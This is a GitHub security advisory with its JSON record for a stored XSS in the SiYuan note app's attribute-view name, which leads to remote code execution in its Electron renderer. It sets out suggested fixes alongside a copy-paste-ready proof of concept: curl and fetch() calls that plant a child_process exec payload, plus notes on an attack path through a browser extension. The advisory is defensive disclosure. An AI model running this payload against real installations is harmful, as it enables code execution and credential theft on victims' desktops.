GHSA-2H64-C999-C9R6
Vulnerability from github – Published: 2026-05-08 16:53 – Updated: 2026-05-08 16:53Summary
The kernel stores Attribute View (AV / database) names without any HTML escape, then a render template uses raw strings.ReplaceAll(tpl, "${avName}", nodeAvName) to embed the name in HTML before pushing to all clients via WebSocket. Three independent client paths (render.ts:120 → outerHTML, Title.ts:401 → innerHTML, transaction.ts:559 → innerHTML) consume the value without escaping. Because the main BrowserWindow runs nodeIntegration:true, contextIsolation:false, webSecurity:false (app/electron/main.js:407-411), HTML injection in the renderer becomes Node.js code execution.
Payload is stored on disk under data/storage/av/<id>.json, replicates via every sync transport (S3 / WebDAV / cloud), survives .sy.zip export-import, and triggers for any role (Administrator / Editor / Reader / publish-service Visitor) opening a doc bound to the AV.
Details
Kernel write — no escape. kernel/model/attribute_view.go:3244-3255:
attrView.Name = strings.TrimSpace(operation.Data.(string))
attrView.Name = strings.ReplaceAll(attrView.Name, "\n", " ")
if 512 < utf8.RuneCountInString(attrView.Name) {
attrView.Name = gulu.Str.SubStr(attrView.Name, 512)
}
err = av.SaveAttributeView(attrView) // ← no html.EscapeString
Kernel template — raw replace. kernel/model/attribute_view.go:3242,3283-3284:
const attrAvNameTpl = `<span data-av-id="${avID}" ... class="popover__block">${avName}</span>`
// ...
tpl := strings.ReplaceAll(attrAvNameTpl, "${avID}", nodeAvID)
tpl = strings.ReplaceAll(tpl, "${avName}", nodeAvName) // ← raw
Sink #1 — AV body header → outerHTML. app/src/protyle/render/av/render.ts:120 (returned from genTabHeaderHTML, written via outerHTML at render.ts:596):
<div contenteditable="${editable}" ... data-title="${data.name || ""}" ...>${data.name || ""}</div>
// ...
e.firstElementChild.outerHTML = `<div class="av__container">${genTabHeaderHTML(...)}...</div>`;
Same pattern in kanban/render.ts:227 and gallery/render.ts:142.
Sink #2 — Doc title attribute strip → innerHTML. app/src/protyle/header/Title.ts:396-403:
response.data.attrViews.forEach((item: { id: string, name: string }) => {
avTitle += `<span data-av-id="${item.id}" ... class="popover__block">${item.name}</span> `;
});
nodeAttrHTML += `<div class="protyle-attr--av">...${avTitle}</div>`;
this.element.querySelector(".protyle-attr").innerHTML = nodeAttrHTML;
Sink #3 — WebSocket updateAttrs push → innerHTML. app/src/protyle/wysiwyg/transaction.ts:549-562,659:
const escapeHTML = Lute.EscapeHTMLStr(data.new[key]);
if (key === "bookmark") { bookmarkHTML = `...${escapeHTML}...`; }
else if (key === "name") { nameHTML = `...${escapeHTML}...`; }
else if (key === "alias") { aliasHTML = `...${escapeHTML}...`; }
else if (key === "memo") { memoHTML = `...${escapeHTML}...`; }
else if (key === "custom-avs" && data.new["av-names"]) {
avHTML = `<div class="protyle-attr--av">...${data.new["av-names"]}</div>`;
// ^^^^^^^^^^^^^^^^^^^^^^^^ raw, unlike the four siblings above
}
// ...
attrElement.innerHTML = nodeAttrHTML + Constants.ZWSP;
The four sibling cases use Lute.EscapeHTMLStr — proving the team knows the right pattern; only av-names was missed.
Renderer posture — RCE multiplier. app/electron/main.js:407-411:
webPreferences: {
nodeIntegration: true, webviewTag: true,
webSecurity: false, contextIsolation: false,
}
Reachability. Route /api/transactions setAttrViewName requires CheckAuth + CheckAdminRole + CheckReadonly. On default install (Conf.AccessAuthCode == ""), kernel/model/session.go:261-287 auto-grants Administrator to local-origin requests. The Origin check accepts localhost / loopback only but chrome-extension:// is explicitly allowlisted (session.go:277), so any installed browser extension calls the API as admin. Local clients with no Origin header (CLI tools) also pass.
Suggested fix
kernel/model/attribute_view.go getAvNames(line 3283-3284): replace the twostrings.ReplaceAllcalls withtemplate.HTMLEscapeString(nodeAvName)for the${avName}substitution.transaction.ts:559: wrap withLute.EscapeHTMLStrto match siblings at lines 549-557.render.ts:120: useLute.EscapeHTMLStr(data.name)for bothdata-title=and the text content.Title.ts:396: escapeitem.nameviaLute.EscapeHTMLStranditem.idviaescapeAttr.- (Defense-in-depth) Switch the main BrowserWindow to
contextIsolation: truewith a preload bridge — caps every future renderer XSS at "DOM only," not RCE.
Reproduction (copy-paste-ready)
Tested on Linux/macOS with SiYuan v3.6.5 (re-verified against master HEAD on 2026-05-03). Windows users: replace python3 with py and use Git Bash / WSL for the shell snippets, or translate to PowerShell.
Prereqs
- Install SiYuan v3.6.5 from https://github.com/siyuan-note/siyuan/releases. Launch it once so the workspace at
~/SiYuanWorkspaceis initialized. Do not set an Access Authorization Code (default). - Verify the kernel responds:
sh curl -s http://127.0.0.1:6806/api/system/versionExpected output (single line of JSON):json {"code":0,"msg":"","data":"3.6.5"} - Pin shell variables for the rest of the PoC: ```sh API=http://127.0.0.1:6806 WS=~/SiYuanWorkspace # adjust if your workspace lives elsewhere
NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \
-H 'Content-Type: application/json' -d '{}' \
| python3 -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])')
echo "Using notebook: $NOTEBOOK_ID"
``
Expected: a 14-digit-timestamp +-7charsID like20240101120000-abc1234`. If you get an empty string, you have no notebooks — open SiYuan and click "New notebook" once.
Step A — Create the AV via the SiYuan UI (one-time, ~10 seconds)
The kernel's setAttrViewName requires the AV file to already exist on disk (av.ParseAttributeView returns an error otherwise). The simplest way to create one is via the editor:
- Open SiYuan. In any document, type
/databaseand press Enter (or open the slash-command menu and pick Database). - The editor inserts an Attribute View block. The kernel writes a JSON file to
<workspace>/data/storage/av/<av-id>.json. -
Capture the AV ID — the most recently written file in that directory:
sh AV_FILE=$(ls -1t "$WS/data/storage/av/"*.json 2>/dev/null | head -1) AV_ID=$(basename "$AV_FILE" .json) echo "AV_ID: $AV_ID"Expected: same 14-digit-timestamp +-7charsshape, e.g.20260503160000-aaaaaaa. If empty, the AV file wasn't created — repeat the UI step. (If your workspace already has many AV files, this picks the newest by mtime; alternatively right-click the inserted database block in SiYuan → Inspect Element to read itsdata-av-idattribute.) -
Capture the doc ID that hosts the AV: right-click the doc tab → Copy ID, or read it from the doc's
data-node-idin DevTools (Ctrl+Shift+I). Set:sh DOC_ID=<root-block-id-of-the-doc-containing-the-AV>
Step B — Plant the XSS payload as the AV name
The payload is written directly inside an unquoted heredoc so bash expands $AV_ID while preserving the \" JSON-escape sequences literally. Single-quote chars (') in the inner JS need no escaping inside a JSON string.
curl -s -X POST $API/api/transactions \
-H 'Content-Type: application/json' \
--data-binary @- <<EOF
{
"session": "x",
"app": "siyuan",
"transactions": [{
"doOperations": [{
"action": "setAttrViewName",
"id": "$AV_ID",
"data": "<img src=x onerror=\"require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')\">"
}],
"undoOperations": []
}]
}
EOF
Expected response:
{"code":0,"msg":"","data":[{"doOperations":[...,"action":"setAttrViewName",...]}]}
Step C — Verify the unescaped storage
python3 -c "import json; print(json.load(open('$WS/data/storage/av/$AV_ID.json'))['name'])"
Expected output (the raw HTML as stored — print does not escape ", so they appear as literal quotes):
<img src=x onerror="require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')">
Step D — Trigger
In the SiYuan desktop client:
- Switch away from the doc that contains the AV (open another doc, or close the tab).
- Re-open the doc containing the AV (
$DOC_ID). - The AV body header is rendered via
genTabHeaderHTML→outerHTMLatapp/src/protyle/render/av/render.ts:596. The browser parses the<img>tag, fails to loadsrc=x, and firesonerror. - Calculator (or
xcalc/open -a Calculator) launches.
If nothing happens, open DevTools (Ctrl+Shift+I / ⌘⌥I) → Console; you should see the error from the failed src=x load. If the AV is in another doc you haven't opened recently, the cached render may be stale — close all tabs and re-open.
Step E — Browser-extension attack vector (the realistic remote path)
A malicious or compromised installed browser extension's content/background script runs with chrome-extension://<id> Origin, allowlisted by session.go:277. The extension can run Steps B's curl-equivalent via fetch():
// Inside any extension content/background script
fetch('http://127.0.0.1:6806/api/transactions', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
session: 'x', app: 'siyuan',
transactions: [{ doOperations: [{
action: 'setAttrViewName',
id: '<av-id-discovered-via-prior-recon-fetches>',
data: `<img src=x onerror="require('child_process').exec('xcalc')">`
}] }]
})
});
The extension can also enumerate AV IDs by first calling /api/notebook/lsNotebooks, then walking notebook trees.
A page from https://attacker.com is rejected — IsLocalOrigin only matches localhost/loopback. Realistic remote vectors are: browser extensions, localhost-served webpages, shared .sy.zip imports, sync replication from a co-author's compromised device.
Cleanup
# Remove the test doc (also removes the AV binding in the doc)
curl -s -X POST $API/api/filetree/removeDocByID \
-H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}"
# Manually delete the AV file
rm -f $WS/data/storage/av/$AV_ID.json
# Restart SiYuan to clear in-memory state
Impact
- RCE on the victim's desktop with the user's privileges, no extra prompt after the trigger condition is met.
- Persistent — payload survives restart, syncs across devices, rides in
.sy.zipexports and Bazaar templates. - Triggers for any role opening a doc bound to the AV (incl. Reader-role publish viewers).
- After RCE: full filesystem read (incl.
~/.ssh/,~/.aws/credentials, workspaceconf/conf.json— kernel API token + AccessAuthCode hash), persistence (.bashrc/ Startup folder / LaunchAgent), cloud-account pivot. - Attack vectors: browser extensions (
chrome-extension://Origin allowlisted); shared.sy.zipfiles; Bazaar templates; sync peers; co-authors on a shared workspace; publish-service planters infecting Reader viewers.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.0-20260421031503-96dfe0bea474"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44670"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-79",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T16:53:18Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe kernel stores Attribute View (AV / database) names without any HTML escape, then a render template uses raw `strings.ReplaceAll(tpl, \"${avName}\", nodeAvName)` to embed the name in HTML before pushing to all clients via WebSocket. Three independent client paths (`render.ts:120` \u2192 `outerHTML`, `Title.ts:401` \u2192 `innerHTML`, `transaction.ts:559` \u2192 `innerHTML`) consume the value without escaping. Because the main BrowserWindow runs `nodeIntegration:true, contextIsolation:false, webSecurity:false` (`app/electron/main.js:407-411`), HTML injection in the renderer becomes Node.js code execution.\n\nPayload is stored on disk under `data/storage/av/\u003cid\u003e.json`, replicates via every sync transport (S3 / WebDAV / cloud), survives `.sy.zip` export-import, and triggers for any role (Administrator / Editor / Reader / publish-service Visitor) opening a doc bound to the AV.\n\n## Details\n\n**Kernel write \u2014 no escape.** `kernel/model/attribute_view.go:3244-3255`:\n```go\nattrView.Name = strings.TrimSpace(operation.Data.(string))\nattrView.Name = strings.ReplaceAll(attrView.Name, \"\\n\", \" \")\nif 512 \u003c utf8.RuneCountInString(attrView.Name) {\n attrView.Name = gulu.Str.SubStr(attrView.Name, 512)\n}\nerr = av.SaveAttributeView(attrView) // \u2190 no html.EscapeString\n```\n\n**Kernel template \u2014 raw replace.** `kernel/model/attribute_view.go:3242,3283-3284`:\n```go\nconst attrAvNameTpl = `\u003cspan data-av-id=\"${avID}\" ... class=\"popover__block\"\u003e${avName}\u003c/span\u003e`\n// ...\ntpl := strings.ReplaceAll(attrAvNameTpl, \"${avID}\", nodeAvID)\ntpl = strings.ReplaceAll(tpl, \"${avName}\", nodeAvName) // \u2190 raw\n```\n\n**Sink #1 \u2014 AV body header \u2192 outerHTML.** `app/src/protyle/render/av/render.ts:120` (returned from `genTabHeaderHTML`, written via outerHTML at `render.ts:596`):\n```ts\n\u003cdiv contenteditable=\"${editable}\" ... data-title=\"${data.name || \"\"}\" ...\u003e${data.name || \"\"}\u003c/div\u003e\n// ...\ne.firstElementChild.outerHTML = `\u003cdiv class=\"av__container\"\u003e${genTabHeaderHTML(...)}...\u003c/div\u003e`;\n```\nSame pattern in `kanban/render.ts:227` and `gallery/render.ts:142`.\n\n**Sink #2 \u2014 Doc title attribute strip \u2192 innerHTML.** `app/src/protyle/header/Title.ts:396-403`:\n```ts\nresponse.data.attrViews.forEach((item: { id: string, name: string }) =\u003e {\n avTitle += `\u003cspan data-av-id=\"${item.id}\" ... class=\"popover__block\"\u003e${item.name}\u003c/span\u003e\u0026nbsp;`;\n});\nnodeAttrHTML += `\u003cdiv class=\"protyle-attr--av\"\u003e...${avTitle}\u003c/div\u003e`;\nthis.element.querySelector(\".protyle-attr\").innerHTML = nodeAttrHTML;\n```\n\n**Sink #3 \u2014 WebSocket `updateAttrs` push \u2192 innerHTML.** `app/src/protyle/wysiwyg/transaction.ts:549-562,659`:\n```ts\nconst escapeHTML = Lute.EscapeHTMLStr(data.new[key]);\nif (key === \"bookmark\") { bookmarkHTML = `...${escapeHTML}...`; }\nelse if (key === \"name\") { nameHTML = `...${escapeHTML}...`; }\nelse if (key === \"alias\") { aliasHTML = `...${escapeHTML}...`; }\nelse if (key === \"memo\") { memoHTML = `...${escapeHTML}...`; }\nelse if (key === \"custom-avs\" \u0026\u0026 data.new[\"av-names\"]) {\n avHTML = `\u003cdiv class=\"protyle-attr--av\"\u003e...${data.new[\"av-names\"]}\u003c/div\u003e`;\n // ^^^^^^^^^^^^^^^^^^^^^^^^ raw, unlike the four siblings above\n}\n// ...\nattrElement.innerHTML = nodeAttrHTML + Constants.ZWSP;\n```\nThe four sibling cases use `Lute.EscapeHTMLStr` \u2014 proving the team knows the right pattern; only `av-names` was missed.\n\n**Renderer posture \u2014 RCE multiplier.** `app/electron/main.js:407-411`:\n```js\nwebPreferences: {\n nodeIntegration: true, webviewTag: true,\n webSecurity: false, contextIsolation: false,\n}\n```\n\n**Reachability.** Route `/api/transactions setAttrViewName` requires `CheckAuth + CheckAdminRole + CheckReadonly`. On default install (`Conf.AccessAuthCode == \"\"`), `kernel/model/session.go:261-287` auto-grants Administrator to local-origin requests. The Origin check accepts `localhost` / loopback only **but `chrome-extension://` is explicitly allowlisted** (`session.go:277`), so any installed browser extension calls the API as admin. Local clients with no Origin header (CLI tools) also pass.\n\n## Suggested fix\n\n1. `kernel/model/attribute_view.go getAvNames` (line 3283-3284): replace the two `strings.ReplaceAll` calls with `template.HTMLEscapeString(nodeAvName)` for the `${avName}` substitution.\n2. `transaction.ts:559`: wrap with `Lute.EscapeHTMLStr` to match siblings at lines 549-557.\n3. `render.ts:120`: use `Lute.EscapeHTMLStr(data.name)` for both `data-title=` and the text content.\n4. `Title.ts:396`: escape `item.name` via `Lute.EscapeHTMLStr` and `item.id` via `escapeAttr`.\n5. *(Defense-in-depth)* Switch the main BrowserWindow to `contextIsolation: true` with a preload bridge \u2014 caps every future renderer XSS at \"DOM only,\" not RCE.\n\n---\n\n## Reproduction (copy-paste-ready)\n\nTested on Linux/macOS with SiYuan v3.6.5 (re-verified against `master` HEAD on 2026-05-03). Windows users: replace `python3` with `py` and use Git Bash / WSL for the shell snippets, or translate to PowerShell.\n\n### Prereqs\n\n1. **Install SiYuan v3.6.5** from https://github.com/siyuan-note/siyuan/releases. Launch it once so the workspace at `~/SiYuanWorkspace` is initialized. Do **not** set an Access Authorization Code (default).\n2. **Verify the kernel responds:**\n ```sh\n curl -s http://127.0.0.1:6806/api/system/version\n ```\n Expected output (single line of JSON):\n ```json\n {\"code\":0,\"msg\":\"\",\"data\":\"3.6.5\"}\n ```\n3. **Pin shell variables** for the rest of the PoC:\n ```sh\n API=http://127.0.0.1:6806\n WS=~/SiYuanWorkspace # adjust if your workspace lives elsewhere\n\n NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \\\n -H \u0027Content-Type: application/json\u0027 -d \u0027{}\u0027 \\\n | python3 -c \u0027import sys,json; print(json.load(sys.stdin)[\"data\"][\"notebooks\"][0][\"id\"])\u0027)\n echo \"Using notebook: $NOTEBOOK_ID\"\n ```\n Expected: a 14-digit-timestamp + `-7chars` ID like `20240101120000-abc1234`. If you get an empty string, you have no notebooks \u2014 open SiYuan and click \"New notebook\" once.\n\n### Step A \u2014 Create the AV via the SiYuan UI (one-time, ~10 seconds)\n\nThe kernel\u0027s `setAttrViewName` requires the AV file to already exist on disk (`av.ParseAttributeView` returns an error otherwise). The simplest way to create one is via the editor:\n\n1. Open SiYuan. In any document, type `/database` and press Enter (or open the slash-command menu and pick **Database**).\n2. The editor inserts an Attribute View block. The kernel writes a JSON file to `\u003cworkspace\u003e/data/storage/av/\u003cav-id\u003e.json`.\n3. Capture the AV ID \u2014 the most recently written file in that directory:\n ```sh\n AV_FILE=$(ls -1t \"$WS/data/storage/av/\"*.json 2\u003e/dev/null | head -1)\n AV_ID=$(basename \"$AV_FILE\" .json)\n echo \"AV_ID: $AV_ID\"\n ```\n Expected: same 14-digit-timestamp + `-7chars` shape, e.g. `20260503160000-aaaaaaa`. If empty, the AV file wasn\u0027t created \u2014 repeat the UI step. (If your workspace already has many AV files, this picks the newest by mtime; alternatively right-click the inserted database block in SiYuan \u2192 Inspect Element to read its `data-av-id` attribute.)\n\n4. Capture the doc ID that hosts the AV: right-click the doc tab \u2192 **Copy ID**, or read it from the doc\u0027s `data-node-id` in DevTools (Ctrl+Shift+I). Set:\n ```sh\n DOC_ID=\u003croot-block-id-of-the-doc-containing-the-AV\u003e\n ```\n\n### Step B \u2014 Plant the XSS payload as the AV name\n\nThe payload is written directly inside an unquoted heredoc so bash expands `$AV_ID` while preserving the `\\\"` JSON-escape sequences literally. Single-quote chars (`\u0027`) in the inner JS need no escaping inside a JSON string.\n\n```sh\ncurl -s -X POST $API/api/transactions \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data-binary @- \u003c\u003cEOF\n{\n \"session\": \"x\",\n \"app\": \"siyuan\",\n \"transactions\": [{\n \"doOperations\": [{\n \"action\": \"setAttrViewName\",\n \"id\": \"$AV_ID\",\n \"data\": \"\u003cimg src=x onerror=\\\"require(\u0027child_process\u0027).exec(process.platform===\u0027win32\u0027?\u0027calc.exe\u0027:process.platform===\u0027darwin\u0027?\u0027open -a Calculator\u0027:\u0027xcalc\u0027)\\\"\u003e\"\n }],\n \"undoOperations\": []\n }]\n}\nEOF\n```\nExpected response:\n```json\n{\"code\":0,\"msg\":\"\",\"data\":[{\"doOperations\":[...,\"action\":\"setAttrViewName\",...]}]}\n```\n\n### Step C \u2014 Verify the unescaped storage\n\n```sh\npython3 -c \"import json; print(json.load(open(\u0027$WS/data/storage/av/$AV_ID.json\u0027))[\u0027name\u0027])\"\n```\nExpected output (the raw HTML as stored \u2014 `print` does not escape `\"`, so they appear as literal quotes):\n```\n\u003cimg src=x onerror=\"require(\u0027child_process\u0027).exec(process.platform===\u0027win32\u0027?\u0027calc.exe\u0027:process.platform===\u0027darwin\u0027?\u0027open -a Calculator\u0027:\u0027xcalc\u0027)\"\u003e\n```\n\n### Step D \u2014 Trigger\n\nIn the SiYuan desktop client:\n\n1. Switch away from the doc that contains the AV (open another doc, or close the tab).\n2. Re-open the doc containing the AV (`$DOC_ID`).\n3. The AV body header is rendered via `genTabHeaderHTML` \u2192 `outerHTML` at `app/src/protyle/render/av/render.ts:596`. The browser parses the `\u003cimg\u003e` tag, fails to load `src=x`, and fires `onerror`.\n4. **Calculator (or `xcalc` / `open -a Calculator`) launches.**\n\nIf nothing happens, open DevTools (Ctrl+Shift+I / \u2318\u2325I) \u2192 Console; you should see the error from the failed `src=x` load. If the AV is in another doc you haven\u0027t opened recently, the cached render may be stale \u2014 close all tabs and re-open.\n\n### Step E \u2014 Browser-extension attack vector (the realistic remote path)\n\nA malicious or compromised installed browser extension\u0027s content/background script runs with `chrome-extension://\u003cid\u003e` Origin, allowlisted by `session.go:277`. The extension can run Steps B\u0027s curl-equivalent via `fetch()`:\n```js\n// Inside any extension content/background script\nfetch(\u0027http://127.0.0.1:6806/api/transactions\u0027, {\n method: \u0027POST\u0027,\n headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n body: JSON.stringify({\n session: \u0027x\u0027, app: \u0027siyuan\u0027,\n transactions: [{ doOperations: [{\n action: \u0027setAttrViewName\u0027,\n id: \u0027\u003cav-id-discovered-via-prior-recon-fetches\u003e\u0027,\n data: `\u003cimg src=x onerror=\"require(\u0027child_process\u0027).exec(\u0027xcalc\u0027)\"\u003e`\n }] }]\n })\n});\n```\nThe extension can also enumerate AV IDs by first calling `/api/notebook/lsNotebooks`, then walking notebook trees.\n\nA page from `https://attacker.com` is rejected \u2014 `IsLocalOrigin` only matches localhost/loopback. Realistic remote vectors are: **browser extensions**, **localhost-served webpages**, **shared `.sy.zip` imports**, **sync replication from a co-author\u0027s compromised device**.\n\n### Cleanup\n\n```sh\n# Remove the test doc (also removes the AV binding in the doc)\ncurl -s -X POST $API/api/filetree/removeDocByID \\\n -H \u0027Content-Type: application/json\u0027 -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\"\n\n# Manually delete the AV file\nrm -f $WS/data/storage/av/$AV_ID.json\n\n# Restart SiYuan to clear in-memory state\n```\n\n## Impact\n\n- **RCE on the victim\u0027s desktop** with the user\u0027s privileges, no extra prompt after the trigger condition is met.\n- **Persistent** \u2014 payload survives restart, syncs across devices, rides in `.sy.zip` exports and Bazaar templates.\n- **Triggers for any role** opening a doc bound to the AV (incl. Reader-role publish viewers).\n- After RCE: full filesystem read (incl. `~/.ssh/`, `~/.aws/credentials`, workspace `conf/conf.json` \u2014 kernel API token + AccessAuthCode hash), persistence (`.bashrc` / Startup folder / LaunchAgent), cloud-account pivot.\n- **Attack vectors:** browser extensions (`chrome-extension://` Origin allowlisted); shared `.sy.zip` files; Bazaar templates; sync peers; co-authors on a shared workspace; publish-service planters infecting Reader viewers.",
"id": "GHSA-2h64-c999-c9r6",
"modified": "2026-05-08T16:53:18Z",
"published": "2026-05-08T16:53:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-2h64-c999-c9r6"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "SiYuan Affected by Stored XSS via Attribute View Name to Electron Renderer RCE"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.